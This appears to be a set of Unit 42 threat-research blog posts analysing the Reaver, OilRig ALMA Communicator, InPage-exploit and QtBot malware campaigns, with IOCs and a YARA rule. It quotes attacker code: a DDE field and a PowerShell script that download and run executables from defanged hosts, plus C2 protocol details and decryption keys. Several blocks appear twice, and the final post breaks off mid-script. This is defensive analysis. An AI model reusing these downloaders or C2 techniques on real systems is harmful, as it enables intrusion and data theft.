Figure 3. Chart showing overlaps between Reaver and SunOrcal. All IOCs are in the appendix at the end of this blog.

Conclusion
The attackers behind SunOrcal, whose activity dates to at least 2013 and possibly 2010, remain active and are still developing new custom malware to use against their targets. The new malware, Reaver, appears to have been in the wild since late 2016 with less than a dozen known samples, among which there are three variants. It is also unique in the fact that its final payload is in a CPL file, a technique which Palo Alto Networks has seen with only 0.006% of all malware samples we have analyzed. The attackers used both families concurrently from late last year through November 2017 and there is some C2 infrastructure overlap between the two families, as well as links to historical reporting. We will continue to monitor these attackers for new activity and report as appropriate.
Palo Alto Networks customers are protected by the following:

Wildfire and Traps identifies both malware families as malicious.
The C2 domains are blocked via Threat Prevention.
AutoFocus customers can monitor activity using this malware with the following tags:
- Reaver
- SunOrcal

Appendix
SHA2556 – Reaver.v1
d560f44188fb56d3abb11d9508e1167329470de19b811163eb1167534722e666

SHA2556 – Reaver.v2
98eb5465c6330b9b49df2e7c9ad0b1164aa5b35423d9e80495a178eb510cdc1c
05ddbd0506ec95fb460b3994e5b21cdb0418ba4aa406374ca1b91249349b7640

SHA2556 – Reaver.v3
18ac3b14300ecfeed4b64a844c16dccb06b0e3513d0954d6c6182f2ea14e4c92
c0f8bb77284b96e07cab1c3fab8800b1bbd030720c74628c4ee5666694ef903d
9213f70bce491991c4cbbbd7dc3e67d3a3d535b965d7064973b35c50f265e59b
26c234c73e2c3448589c7d4a0cf17f615ad3666541a4e611e2d8b77637205bcf
ae9f158e4886cfdbfb4f1b3b25707d05f6fd873d0be9d8e7334a2c28741228ee
1fcda755e8fa23d27329e4bc0443a82e1c1e9a6c1691639db256a187365e4db1
c906250e0a4c457663e37119ebe1efa1e4b97eef1d975f383ac3243f9f09908c
1813f10bcf74beb582c824c64fff63cb150d178bef93af81d875ca84214307a1

SHA256 – SunOrcal
799139b5278dc2ac24279cc6c3db44f4ef0ea78ee7b721b0ace38fd8018c51ac
81d887fefdbb0219647991c2b7bddf45c2fede4dc6fc18408f1706e0279615b2
58312fb742ce881e040e1b5b8555f00a402b8dd4fc886acaae2f862040b3bfc5
38ea33dab0ba2edd16ecd98cba161c550d1036b253c8666c4110d198948329fb
cb7c0cf1750baaa11783e93369230ee666b9f3da7298e4d1bb9a07af6a439f2f

C2 domains and IP addresses
www.tashdqdxp[.]com
www.weryhstui[.]com
www.fyoutside[.]com

www.olinaodi[.]com
104.148.70[.]217
98.126.156[.]210

OilRig Deploys “ALMA Communicator” – DNS Tunneling Trojan

Posted on November 8, 2017November 1, 2018 by Robert Falcone

Unit 42 has been closely tracking the OilRig threat group since May 2016. One technique we’ve been tracking with this threat group is their use of the Clayslide delivery document as attachments to spear-phishing emails in attacks since May 2016. In our April 2017 posting OilRig Actors Provide a Glimpse into Development and Testing Efforts we showed how we observed the OilRig threat group developing and refining these Clayside delivery documents.
Recently, we observed a new version of the Clayslide delivery document used to install a new custom Trojan whose developer calls it “ALMA Communicator”. The delivery document also saved the post-exploitation credential harvesting tool known as Mimikatz, which we believe the threat actors will use to gather account credentials from the compromised system. While we do not have detailed telemetry, we have reason to believe this attack targeted an individual at a public utilities company in the Middle East.

New Clayslide Delivery Document
The most recent build of Clayslide operates in a similar way to its predecessors, as it initially displays an "Incompatible" worksheet that states that the Excel file was created with a newer version of Excel and the user needs to "Enable Content" to view the document. If the user clicks "Enable Content", a malicious macro will run that begins by displaying a hidden worksheet that contains decoy contents, as seen in the following:

While the decoy is displayed to the victim, the malicious macro accesses data from specific cells in the "Incompatible" worksheet that it concatenates to create an .HTA file, which it then saves to %PUBLIC%\tmp.hta and opens with the mshta.exe application. The .HTA file contains HTML that will run a VBScript that finally installs the malicious payload for this attack.
The payload installation process begins with the .HTA file creating a folder named %PUBLIC%\{5468973-4973-50726F6A656374-414C4D412E-2}, to which it writes three files with the following names:

SystemSyncs.exe
m6.e
cfg

The .HTA file contains two encoded executables that it will decode and write to m6.e and SystemSyncs.exe. The .HTA file contains a base64 encoded configuration that it decodes and saves to the cfg file, which the Trojan will use to obtain the C2 domain that it will use to communicate with the threat actor. The C2 domain saved to the cfg file in this attack is prosalar[.]com.
The SystemSyncs.exe file (SHA256: 2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e) is a custom Trojan created by the OilRig group called “ALMA Communicator”, which we will describe in detail in the next section.
The "m6.e" file dropped by the .HTA file is a variant of Mimikatz (SHA256: 2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c) tool. We have seen the OilRig threat group using Mimikatz for credential gathering during its post-exploitation activities, however, this is the first time we have observed the threat group delivering Mimikatz during the delivery phase of the attack. We believe the Clayslide delivery document dropped this additional tool based on the limitations of ALMA Communicator’s C2 channel, which we will describe later in this report.
The VBScript in the .HTA file executes the SystemSyncs.exe payload and achieves persistent execution by creating a scheduled task. Unlike past Clayslide documents that create a scheduled task via the schtask application via the command prompt, the VBScript programmatically creates the task using the Schedule.Service object. The scheduled task created, as seen in Figure 1, shows that the payload will be executed every two minutes with the command line argument "Lock".

Figure 1 Scheduled task created by Clayslide to execute the ALMA Communicator payload

ALMA Communicator Trojan
The ALMA Communicator Trojan is a backdoor Trojan that uses DNS tunneling exclusively to receive commands from the adversary and to exfiltrate data. This Trojan specifically reads in a configuration from the cfg file that was initially created by the Clayslide delivery document. ALMA does not have an internal configuration, so the Trojan does not function without the cfg file created by the delivery document.
After reading in its configuration, the Trojan creates two folders for staging, named Download and Upload. ALMA uses the Download folder to save batch files provided by the C2 server, which it will eventually run. ALMA uses the Upload folder to store the output of the executed batch files, which it will eventually exfiltrate to the C2 server.
ALMA Communicator uses DNS tunneling as its C2 communication channel using a specific protocol that uses specially crafted subdomains to transmit data to the C2 server and specific IPv4 addresses to transmit data from the C2 to the Trojan. The transmission of information from the Trojan to the C2 server occurs through DNS requests to resolve specially crafted subdomains on the configured C2 domain.
To build these specially crafted subdomains, the Trojan generates a random four-digit number and concatenates a hardcoded string of ID. The Trojan then appends a unique identifier for the compromised system to this string. To generate this unique identifier, the Trojan starts by obtaining the system’s ProductId from the registry, specifically at SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId. If it cannot find this registry key, it will use the hardcoded value 00000-00000-00000-00000. It then obtains the username and concatenates an underscore followed by the product id string. The Trojan takes the MD5 hash of this string and uses it as the basis for the unique identifier for the compromised system. It then appends the hardcoded -0-2D-2D string to finish the construction of the subdomain used to beacon the C2 server. Figure 2 shows the structure of the domains that ALMA communicator will send to the C2 server to receive data.

Figure 2 Domain used by ALMA communicator to receive data from the C2 server

To provide a better explanation of the unique identifier generated by ALMA communication, let’s consider a test system with the username and product id create the string Administrator_00000-00000-00000-00000, which results in an MD5 hash of 35ead98470edf86a1c5a1c5fb2f14e02. The Trojan will generate the unique identifier string 3d7f11b4 by taking the first, fifth, ninth, thirteenth, seventeenth, twenty first, twenty fifth and twenty ninth characters from the MD5 hash and concatenating them together, as seen in Figure 3.

Figure 3 How ALMA Communicator generates the unique identifier for the compromised system

The C2 server will reply to the beacon DNS requests with IPv4 addresses within A records. The Trojan will parse these requests for two specific IP addresses, one to mark the beginning and one to mark the end of the transmission of data from the C2 to the Trojan. The two specific IP addresses to mark the start and end of the data are:
Start - 36.37.94.33 ($%^!)
End - 33.33.94.94 (!!^^)
The C2 will respond to DNS queries between these two responses with IP addresses that the Trojan will treat as binary data. During our analysis, we observed the following data being sent from the C2 server to our analysis system, with $%^! and !!^^ representing the start and stop markers for the data:

$%^!_DnsInit.bat@echo off & chcp 65001\r\necho
%userdomain%\\%username% 2>&1 & echo %computername% 2>&1 & echo
________________________________Task__________________________________
& schtasks /query /FO List /TN "Google_{50726F6A656374-
414C4D41-48747470}" /V | findstr /b /n /c:"Repeat: Every:" 2>&1
& schtasks /query /FO List /TN "Micro_{50726F6A656374-
414C4D41-446E73-2}" /V | findstr /b /n /c:"Repeat: Every:" 2>&1 & echo
______________________________________________________________________   !!^^

$%^!_DnsInit.bat@echo off & chcp 65001\r\necho

%userdomain%\\%username% 2>&1 & echo %computername% 2>&1 & echo

________________________________Task__________________________________

& schtasks /query /FO List /TN "Google_{50726F6A656374-

414C4D41-48747470}" /V | findstr /b /n /c:"Repeat: Every:" 2>&1

& schtasks /query /FO List /TN "Micro_{50726F6A656374-

414C4D41-446E73-2}" /V | findstr /b /n /c:"Repeat: Every:" 2>&1 & echo

______________________________________________________________________ !!^^

Based on the data sent back from the C2, the Trojan will create a file named _DnsInit.bat with commands seen in the data. The Trojan stores the batch file in the Download folder. The Trojan will then enumerate this folder and create a cmd.exe process with the path to the batch script as a command line argument. The Trojan will add to the command line argument the string " > " followed by the batch script's filename with the .txt.Prc file extension to write the output of the command to a text file in the Upload folder. Before running the process, the following string to the end command line argument to delete the batch script upon execution:
\r\nDEL /f /q \"%~0\"|exit
The Trojan will then attempt to send the newly created file in the Upload folder that contains the result of running the command. The DNS requests used to send this data has four fields that are split up using a hyphen, which are:

Random four-digit number followed by static "ID" string and the 10 character unique system identifier
Number of DNS queries needed to send entire data stream
Maximum of 20 characters for 10 hexadecimal bytes of data to transmit
String of characters for hexadecimal bytes for filename transmitted

To better visualize the structure of a DNS query used to send data, the following is shows the domain name that the Trojan will build to send data to its C2 server:
[random 4 digits]ID[unique identifier]-[number of DNS queries needed]-[string of hexadecimal bytes for sent data]-[string of hexadecimal bytes for filename being sent].prosalar[.]com
For example, figure 4 is the first DNS query issued after our testing system ran the _DnsInit.bat script provided by the C2 server mentioned above. As you can see, each DNS request can only send 10 bytes of data at a time, requiring 29 outbound requests to transmit the 289 bytes of output that was generated by the batch script.

Figure 4 Subdomain that ALMA Communicator attempts to resolve to transmit data to its C2 server

As you can surmise, ALMA Communicator’s C2 channel is rather limited when it comes to data transfer. If an actor wished to use ALMA communicator to exfiltrate large files, it would result in a very large number of outbound DNS requests, as each outbound request can only send 10 bytes at a time. Even more limiting is the data transmission from the C2 server to the Trojan, which can only send 4 bytes per DNS request, as each IPv4 address is treated as data. We believe this is the reason why the Clayslide delivery document saved the Mimikatz tool to the system instead of having the actor download the tool to the system after a successful compromise. Based on the 4-byte per DNS request limitation, the ALMA Communicator would generate 189,568 DNS requests (not including the start and stop requests) to transmit the 758,272 byte Mimikatz tool to the system, which may be detected by security systems or personnel.

Conclusion
The OilRig threat group continues to use their Clayslide delivery document in their attack campaigns. The current variant of Clayslide also suggests that this group continues to develop these delivery documents with new installation techniques to evade detection. This threat group also continues to add new payloads to their toolset as well, with ALMA Communicator being the most recent addition. Lastly, it appears that OilRig still prefers using DNS tunneling for its C2 channel of choice, as ALMA Communicator, Helminth and ISMAgent all use this technique for C2 communications.
Palo Alto Networks customers are protected by the following:

WildFire identifies ClaySlide delivery documents and ALMA Communicator samples as malicious
Traps blocks the ALMA Communicator Trojan via Local Analysis and blocks the Clayslide delivery document based on “Suspicious macro detected”
AutoFocus customers can track these tools using the following tags:

Indicators of Compromise
f37b1bbf5a07759f10e0298b861b354cee13f325bc76fbddfaacd1ea7505e111 (Clayslide)
2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e (ALMA Communicator)
2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c (Mimikatz)
prosalar[.]com

Recent InPage Exploits Lead to Multiple Malware Families

Posted on November 2, 2017November 1, 2018 by Jacob Soo

In recent weeks, Unit 42 has discovered three documents crafted to exploit the InPage program. InPage is a word processor program that supports languages such as Urdu, Persian, Pashto, and Arabic. The three InPage exploit files are linked through their use of very similar shellcode, which suggests that either the same actor is behind these attacks, or the attackers have access to a shared builder. The documents were found to drop the following malware families:

The previously discussed CONFUCIUS_B malware family
A backdoor previously not discussed in the public domain, commonly detected by some antivirus solutions as “BioData”
A previously unknown backdoor that we have named MY24

The use of InPage as an attack vector is not commonly seen, with the only previously noted attacks being documented by Kaspersky in late 2016.
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated. They contained subjects such as intelligence reports and political situations related to India, the Kashmir region, or terrorism being used as lure documents.
In the blog below, we analyze and present our findings on three of these malicious InPage documents:

Cyber Advisory No 91.inp
Intelligence Report-561 (1).inp
Tehreek-E-Kashmir Mujahaid List.inp

We also include analysis of the new backdoor we discovered: MY24.

Cyber Advisory No 91.inp

We discovered the first InPage exploit to have the following attributes:

SHA256	1d1e7a6175e6c514aaeca8a43dabefa017ddc5b166ccb636789b6a767181a022
Original Filename	Cyber Advisory No 91.inp

The exploit for this document is the same one described by described by Kaspersky late last year. This exploit was unsuccessful in the latest version in InPage (Version 3.60), and as such the underlying vulnerability has likely been patched.
Overall, the entire execution flow of this malware from start to finish can be summarized as follows:

Figure 1 InPage exploit document execution flow

When the malicious .INP file is opened using a vulnerable version of InPage, it will execute the shellcode that is embedded within it.
This particular shellcode, along with the shellcode found within another InPage exploit document that will be discussed later on, began with a marker of ‘LuNdLuNd’, followed by a series of NOPs. It continues to identify an offset to an embedded executable file, which will eventually be run on the victim machine.
This particular shellcode uses a unique hashing mechanism for identifying and loading Microsoft Windows libraries and functions. It uses this method to load a series of functions, as seen below:

Figure 2 Shellcode loading functions using custom hashing algorithm

The hashing algorithm in question can be represented in Python as follows:

def hashAlgo(string):
  hsh = 0
  for c in string:
    v1 = ord(c) | 0x60
    hsh = 2 * (hsh + v1)
  return hsh
library = "ntdll.dll"
function = "memcpy"
print "[+] '{}' Library: 0x{:x}".format(library, hashAlgo(library))
print "[+] '{}' Function: 0x{:x}".format(function, hashAlgo(function))
Output:
[+] 'ntdll.dll' Library: 0x1b708
[+] 'memcpy' Function: 0x347a

def hashAlgo(string):

hsh = 0

for c in string:

v1 = ord(c) | 0x60

hsh = 2 * (hsh + v1)

return hsh

library = "ntdll.dll"

function = "memcpy"

print "[+] '{}' Library: 0x{:x}".format(library, hashAlgo(library))

print "[+] '{}' Function: 0x{:x}".format(function, hashAlgo(function))

Output:

[+] 'ntdll.dll' Library: 0x1b708

[+] 'memcpy' Function: 0x347a

This particular hashing algorithm does not appear to be widely used, however, in our searches using the YARA rule provided at the end of this blog, we were able to identify roughly 70 PE32 samples that have recently employed this same hashing technique.
The shellcode then proceeds to attempt to create a mutex with a value of “QPONMLKJIH” to ensure only one instance of the shellcode is running at a given time. Finally, the shellcode will copy the embedded payload into newly allocated memory before executing it.
This newly dropped payload is a DLL with the following attributes:

SHA256	7bbf14ced3ca490179d3727b7287eb581c3a730131331be042d0f0510bc804f9
Compile Timestamp	2015-05-08 12:51:54 UTC
PDB String	c:\users\mz\documents\visual studio 2013\Projects\Shellcode\Release\Shellcode.pdb

This particular DLL acts as a dropper, and has two embedded resource files—an executable payload that will be used to ultimately drop the final payload, as well as a decoy InPage file. It begins by spawning a new thread that loads the two files from embedded resources with names of ‘BIN’ and ‘BIN2’ respectively. The executable is dropped to the following path before it is executed:

%TEMP%\winopen.exe

The InPage decoy document is dropped to the following path before it is run:

%TEMP\SAMPLE.INP

The decoy document in question looks like the following. The rough translation to English has been provided in red:

Figure 3 Decoy InPage file with rough translation

Based on the rough translation of this document, it appears to deal with current issues within the Kashmir region. This of course is not consistent with the original filename, and it is unclear why this is the case. Perhaps the attacker forgot to change the lure from a previous exploit, or simply didn’t find it necessary. This lure, while inconsistent with the original filename, is in line with the other InPage exploit file that also looked to be of the same subject matter.
The executable file in the ‘%TEMP%\winopen.exe’ path has the following attributes:

SHA256	692815d06b720669585a71bc8151b89ca6748f882b35e365e08cfaf6eda77049
Compile Timestamp	2017-07-31 06:03:42 UTC

This particular executable is made to resemble the legitimate application Putty. Unlike other files we witnessed up to this point, this sample has rudimentary anti-debugging and anti-analysis techniques in place prior to the main execution flow.
It proceeds to decrypt an embedded resource object using the RC4 algorithm. The following key is used for decryption:

VACqItywGR1v3qGxVZQPYXxMZV0o2fzp

After this data is decrypted, the following registry key is written to ensure persistence. Again, we see the malware mimic the appearance of the legitimate Putty application.

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Putty - %TEMP%\winopen.exe

Finally, the malware will spawn a new suspended instance of itself, where the decrypted data is written and subsequently executed.
This next stage of malware has the following properties:

SHA256	bb5540fe0bbc0cda08865aad891a585cd465b224bfe84762216cd04178087516
Compile Timestamp	2017-05-17 05:47:05 UTC

This malware operates almost identical to the previously witnessed sample. However, this time the embedded resource object is decrypted using the following RC4 key:

kRPAnN2DN6vfrxsJ55Lntnh7Mma8E68s

The next, and last stage of this malware execution has the following attributes:

SHA256	d1a14bc3160f5ed6232ceaf40de1959d7dba3eae614efd2882b04d538cda825b
Compile Timestamp	2016-10-31 02:41:09 UTC

This final payload is an instance of the CONFUCIUS_B malware family, which we have previously discussed. This particular sample attempts to connect to the following host for C2 operations:

151.80.14[.]194

Intelligence Report-561 (1).inp

We identified this malicious InPage document as having the following attributes:

SHA256	35c5f6030513f11fd1dcf9bd232de457ba7f3af3aedc0e2e976895b296a09df6
Original Filename	Intelligence Report-561 (1).inp

This particular exploit file uses the exact same shellcode witnessed previously, where an embedded DLL is loaded into memory. Again, this executable drops and executes two files—a Microsoft Windows executable payload and an InPage decoy document.
The embedded payload within the shellcode has the following attributes:

SHA256	83e3b2938ee6a3e354c93c6ec756da96b03cc69118b5748b07aee4d900da1844
Compile Timestamp	2015-05-08 12:51:54 UTC
PDB String	c:\users\mz\documents\visual studio 2013\Projects\Shellcode\Release\Shellcode.pdb

Again, we see the executable payload and decoy document dropped to the following respective locations:

%TEMP%\winopen.exe
%TEMP%\SAMPLE.inp

The dropped executable is a previously undocumented backdoor written in Delphi that has been named BioData by multiple antivirus organizations.
This InPage exploit document follows a much simpler execution flow, as seen in the following diagram.

Figure 4 InPage exploit execution flow

The decoy InPage file dropped by this malware looks like the following. The language used within it appears to be a mix of Arabic and Urdu. A rough translation has been provided in red in the image below.

Figure 5 Decoy InPage document dropped by malware

The Biodata payload has the following attributes:

SHA256	5716509e4cdbf8ffa5fbce02b8881320cb852d98e590215455986a5604a453f7
Compile Timestamp	1992-06-19 22:22:17 UTC

Note that the timestamp above is the result of this sample being compiled in Delphi, which uses the same hardcoded compilation timestamp for all samples that are generated.
Throughout the execution of this sample, numerous strings are decoded using a customized 94-character substitution table. BioData will go through each character of the obfuscated string, and will replace each character based on the following table:

Figure 6 Substitution table used by BioData

The malware proceeds to generate and create a ‘Document’ folder within the %USERPROFILE% directory. This folder will contain all of the malware’s files throughout its execution. In order to maintain persistence, the malware will generate the following file in the startup folder, which points to the current path of the BioData executable:

Adobe creative suit.lnk

BioData proceeds to generate a randomized 30-character string of uppercase and lowercase letters. This string is written to the following file:

%USERPROFILE%\Document\users.txt

This 30-character string is used by the malware to act as a unique identifier for the victim, and will be used for all network communication with a remote server.
The username and computer name are identified, and are written to a string of the following format:

User name and System Name :- [Username]_[Computer Name]

This data is obfuscated and written to the following file:

%USERPROFILE%\Document\SyLog.log

In order to obfuscate this data, the malware uses a unique algorithm. Represented in Python, the following script will decode this file:

import sys
from binascii import *
file = sys.argv[1]
fh = open(file, 'rb')
fd = fh.read()
fh.close()
def bit_not(n, numbits=8):
  return (1 << numbits) - 1 - n
def decode(data):
  c = 0
  output = ""
  for d in data:
    o = bit_not((0x6121 >> c) & 0xFF)
    output += chr(ord(d) ^ o)
    c += 1
    if c == 32:
      c = 0
  return output
print decode(fd)

import sys

from binascii import *

file = sys.argv[1]

fh = open(file, 'rb')

fd = fh.read()

fh.close()

def bit_not(n, numbits=8):

return (1 << numbits) - 1 - n

def decode(data):

c = 0

output = ""

for d in data:

o = bit_not((0x6121 >> c) & 0xFF)

output += chr(ord(d) ^ o)

c += 1

if c == 32:

c = 0

return output

print decode(fd)

BioData sends both GET and POST requests to the following URL:

http://errorfeedback[.]com/MarkQuality455/developerbuild.php

POST requests are made with a hardcoded User-Agent, shown below in Figure 7. Additionally, a ‘b’ GET parameter is included that contains the victim’s previously generated unique identifier. The contents of the POST requests are the obfuscated SyLog.log file. The remote C2 server has been observed responding to these requests with ‘Success’. These requests simply act as a beacon, including the basic victim information that was previously obtained.

Figure 7 HTTP POST request by BioData

GET requests are made in a slightly different fashion. These requests contain an empty User-Agent, and are also found to be missing a number of HTTP headers that are commonly seen.

Figure 8 HTTP GET request by BioData

Unlike the POST requests, the malware both looks for and makes use of the response given, if any, by the C2 server. The malware parses any response given by first hex-decoding it. It then base64-decodes the resulting string. The final string is used to form a subsequent GET request.
If for instance, the malware responded with a decoded string of ‘malware.exe’, the subsequent GET request would look like the following:

http://errorfeedback[.]com/MarkQuality455/bzGwXILtkMRZaJxzciXAeCYviduBuy/malware.exe

The request above uses the same victim identifier that has been observed in the previous examples provided.
This hypothetical ‘malware.exe’ request contains the raw contents of the payload that BioData will drop to disk and execute. The contents are placed in the following file path for this hypothetical:

%USERPROFILE%\Document\malware.exe

Finally, after this dropped payload is successfully executed, the malware will send a GET request such as the following:

http://errorfeedback[.]com/MarkQuality455/developerbuild.php?f=62574673643246795a53356c654755&b=bzGwXILtkMRZaJxzciXAeCYviduBuy

In the above example, the ‘b’ parameter is the victim identifier, and the ‘f’ parameter is the string of ‘malware.exe’ after it has been base64-encoded and hex-encoded. This request alerts the attack that the hypothetical payload of ‘malware.exe’ has been run.

Tehreek-E-Kashmir Mujahaid List.inp

We identified this malicious InPage document as having the following attributes:

SHA256	3e410397955d5a127182d69e019dbc8bbffeee864cd9c96e577c9c13f05a232f
Original Filename	Tehreek-E-Kashmir Mujahaid List.inp

Unfortunately, no decoy document was included with this exploit file. However, the filename provides clues as to the context that may have been present when this file was delivered to the intended recipient. The phrase ‘Tehreek-E-Kashmir’ is most likely related to the conflict in the Kashmir region of India. Additionally, the term ‘Mujahaid’ may be a misspelling of the word ‘Mujahid’, a term used to describe an individual engaged in Jihad.
This particular InPage shellcode looks to be near identical to the two others previously discussed, however, it appears as though the attackers simply partially overwrote the original shellcode that was present to substitute their own. This results in the shellcode acting as a downloader, instead of loading an embedded payload. We can see the modifications visually in the following image:

Figure 9 Differences between InPage exploit documents

In the image above, the ‘Cyber Advisory No 91.inp’ exploit file has the large additional size, as it included the payload. The ‘Tehreek-E-Kashmir Mujahaid List.inp’ exploit file instead has removed this. However, original artifacts from the original shellcode are still present, including the function that loads Microsoft Windows API calls using the unique hashing algorithm.
The shellcode begins by iterating through the Process Environment Block (PEB), searching for a loaded module that has a ‘3’ in the 7^th position. In other words, the shellcode uses a simple trick to search for kernel32.dll. It proceeds to iterate through kernel32’s functions, looking for the GetProcAddress function. In order to find this function it will compare the first four letters against ‘GetP’, and the third set of four letters against ‘ddre’.
The shellcode then gets the address of the WinExec function, which in turn is used to execute the following command:

cmd /c mkdir C:\Wins

It then performs the following:

Gets the address of the LoadLibraryA function
Loads the urlmon.dll library
Gets the address of the URLDownloadToFileA function

The shellcode then proceeds to make a request to the following URL and download the response to ‘C:\Wins\cnh’.

http://zmwardrobe[.]com/wp-sign

Finally, the shellcode will execute this downloaded file via a call to WinExec.
The response from this webserver returned a payload, that we have named MY24, with the following attributes:

SHA256	71b7de2e3a60803df1c3fdc46af4fd8cfb7c803a53c9a85f7311348f6ff88cbe
Compile Timestamp	2017-05-18 05:26:54 UTC

It should also be noted that a malicious Microsoft Word document with the following properties was observed downloading and executing the same payload.

SHA256	3f1d3d02e7707b2bc686b5add875e1258c65a0facd5cf8910ba0f321e230e17c
Original Filename	Las Vegas ISIS Claim Proof.doc
First Seen	2017-10-05 05:53:27

MY24 Analysis
This backdoor begins by decoding a series of embedded strings by adding 33 to each character. The following example within the Python interpreter demonstrates this:

Figure 10 Example string decoding within Python interpreter

The malware proceeds to execute a function that is responsible for generating the following path:

%APPDATA%\Startup\wintasks.exe

However, this path is never used, leading us to believe that the malware author had the intention of copying the payload to this destination and likely setting persistence, but seemingly forgot to.
MY24 proceeds to spawn two timers where the functions are responsible for resolving the C2 domain of userveblog.ddns[.]net, as well as connecting to this domain.
Two new threads are then created—one for handling any data that is received from the connection to the C2 and one that is responsible for sending out data.
Finally, a function is called that is responsible for collecting information about the victim machine. The following information is collected:

Version of Microsoft Windows
Username
Computer name

The MY24 instance expects to receive a command initially from the remote server of userveblog.ddns[.]net on port 9832. All communication is performed using raw sockets via a custom communication protocol. The packets received by the malware have the following format:

Figure 11 Received packet format for MY24 malware

All data received and sent by MY24 is encrypted using a 13-byte XOR key of "t6%9k$2Ri9ctv". The data portion of the received command will include one of the following commands:

Received Command	Description
2000	Return victim information
2001	Get drive information
2002	List files
2004	Unknown
2005	Create file handle to append data
2006	Write appended data to previously created file handle
2007	Create file handle for reading data
2009	Read data from previously created file handle
2012	Spawn a shell of cmd.exe
2013	Interact with previously spawned shell
2015	Unknown
2016	Kill previously spawned shell
2019	List current process network communication on the victim machine
2021	Unknown
2022	Kill process
2023	Enumerate processes
2025	Unknown

Responses sometimes vary in size, but are primarily sent with a size of 9084 bytes. The author of this tool did not allocate proper buffer size when sending out the data, resulting in part of the stack being included in the response by the MY24 malware. Examples of commands being sent and received may be seen below. A custom server was written to interact with the MY24 malware, which is seen in the following image.

Figure 12 Interacting with MY24 backdoor

Conclusion

While documents designed to exploit the InPage software are rare, they are not new - however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode, suggesting continued use of the exploit previously discussed by Kaspersky.
The decoy documents dropped suggest that the targets are likely to be politically or militarily motivated, with subjects such as Intelligence reports and political situations being used as lure documents. The variety of malware payloads dropped suggests the attackers behind these attacks have a reasonable development resource behind them and Unit42 continues to observe new versions of these malware families being created.
Palo Alto Networks customers are protected against these threats in a number of ways:

All domains observed in these malware families have been flagged as malicious.
All payloads are appropriately categorized as malicious within the WildFire platform and blocked by Traps.
The payloads witnessed have been tagged in AutoFocus as Confucius_B, MY24, and BioData for continued tracking and observation.

Appendix
YARA Rules

rule InPageShellcodeHashing
{
	strings:
		$hashingFunction = {55 8B EC 51 53 52 33 C9 33 DB 33 D2 8B 45 08 8A 10 80 CA 60 03 DA D1 E3 03 45 10 8A 08 84 C9 E0 EE 33 C0 8B 4D 0C 3B D9 74 01 40 5A 5B 59 8B E5 5D C2 0C 00}
	condition:
		$hashingFunction
}

rule InPageShellcodeHashing

{

strings:

$hashingFunction = {55 8B EC 51 53 52 33 C9 33 DB 33 D2 8B 45 08 8A 10 80 CA 60 03 DA D1 E3 03 45 10 8A 08 84 C9 E0 EE 33 C0 8B 4D 0C 3B D9 74 01 40 5A 5B 59 8B E5 5D C2 0C 00}

condition:

$hashingFunction

}

Everybody Gets One: QtBot Used to Distribute Trickbot and Locky

Posted on November 1, 2017July 2, 2020 by Brandon Levene

Introduction
The most common Locky and Trickbot affiliates are being distributed via shared malspam campaigns. Unit 42 and external malware researchers believe the payloads are geo-targeted. Previously, geo-targeting was controlled by a relatively simplistic VBA script which utilized GeoIP lookup services and parsed the country code to determine the compromised host’s location. With this information, the VBA script would enter a loop checking for the presence of the country codes: UK, IE, AU, GB, LU, or BE and, if any of those country codes was present, URIs to serve Trickbot were selected for download and execution. If this check failed, Locky would be served instead.
Recently, Unit 42 researcher Brad Duncan observed Necurs malspam campaigns distributing Microsoft Office documents that were abusing DDE. These documents load an intermediate downloader which we have tagged in AutoFocus as “QtBot”. QtBot replaces the previously discussed VBA and features a robust anti-analysis suite to protect itself. This new downloader is responsible for loading the final payload, either Locky or Trickbot, again based on GeoIP. Palo Alto Networks has observed more than 4 million unique sessions with QtBot activity since October 19^th, 2017.

The Lure
The malicious DDE documents are included as attachments to malspam lures like the one below (seen 10/24/2017):

Figure 1. Shows an example email lure with a malicious document that uses DDE to deliver a payload.

Typically, these lures are very simple. Most of the observed lures fall either within the “Financial Statement” category (Invoice, Billing, Receipt) or “File Transfer” category (efax, file scan). This campaign relies on the user to download the attachment, open it, and click through several dialog boxes. The attached document, bb92218314ffdc450320f1d44d8a2fe163c585827d9ca3e9a00cb2ea0e27f0c9, contains the following DDE object:
[URL Defanged]

DDEAUTO C:\\Windows\\System32\\cmd.exe "/k powershell.exe -NonI -
noexit -NoP -sta $sr=(new-object IO.StreamReader
((([Net.WebRequest]::Create('hXXp://burka.ch/JHhdg33')).GetResponse())
.GetResponseStream())).ReadToEnd();powershell.exe -e $sr"

DDEAUTO C:\\Windows\\System32\\cmd.exe "/k powershell.exe -NonI -

noexit -NoP -sta $sr=(new-object IO.StreamReader

((([Net.WebRequest]::Create('hXXp://burka.ch/JHhdg33')).GetResponse())

.GetResponseStream())).ReadToEnd();powershell.exe -e $sr"

Network Traffic
Let’s examine the network traffic. Immediately following the user’s click-throughs of three dialog boxes, the following HTTP GET request is issued. Interestingly, its likely this initial command and control server is simply a compromised webhost running a vulnerable version of PLESK as can be seen by the X-Powered-By header in the HTTP response.

Figure 2. DDE downloads a base64 blob for execution. Also, an interesting note: this initial server hosting the scriptlet is using PLESK and is likely compromised.

The base64 blob decodes to the following [URLs defanged]:

$urls = "hXXp://aurea-
art[.]ru/incrHG32","hXXp://castellodimontegioco[.]com/incrHG32","hXXp:
//nl.flipcapella[.]com/incrHG32","hXXp://dotecnia[.]cl/incrHG32","hXXp
://christakranzl[.]at/incrHG32"
foreach($url in $urls){
Try
{
	Write-Host $url
	$fp = "$env:temp\theyweare64.exe"
	Write-Host $fp
	$wc = New-Object System.Net.WebClient
	$wc.DownloadFile($url, $fp)
	Start-Process $fp
	break
}
Catch
{
   Write-Host $_.Exception.Message
}
}

$urls = "hXXp://aurea-

art[.]ru/incrHG32","hXXp://castellodimontegioco[.]com/incrHG32","hXXp:

//nl.flipcapella[.]com/incrHG32","hXXp://dotecnia[.]cl/incrHG32","hXXp

://christakranzl[.]at/incrHG32"

foreach($url in $urls){

Try

{

Write-Host $url

$fp = "$env:temp\theyweare64.exe"

Write-Host $fp

$wc = New-Object System.Net.WebClient

$wc.DownloadFile($url, $fp)

Start-Process $fp

break

}

Catch

{

Write-Host $_.Exception.Message

}

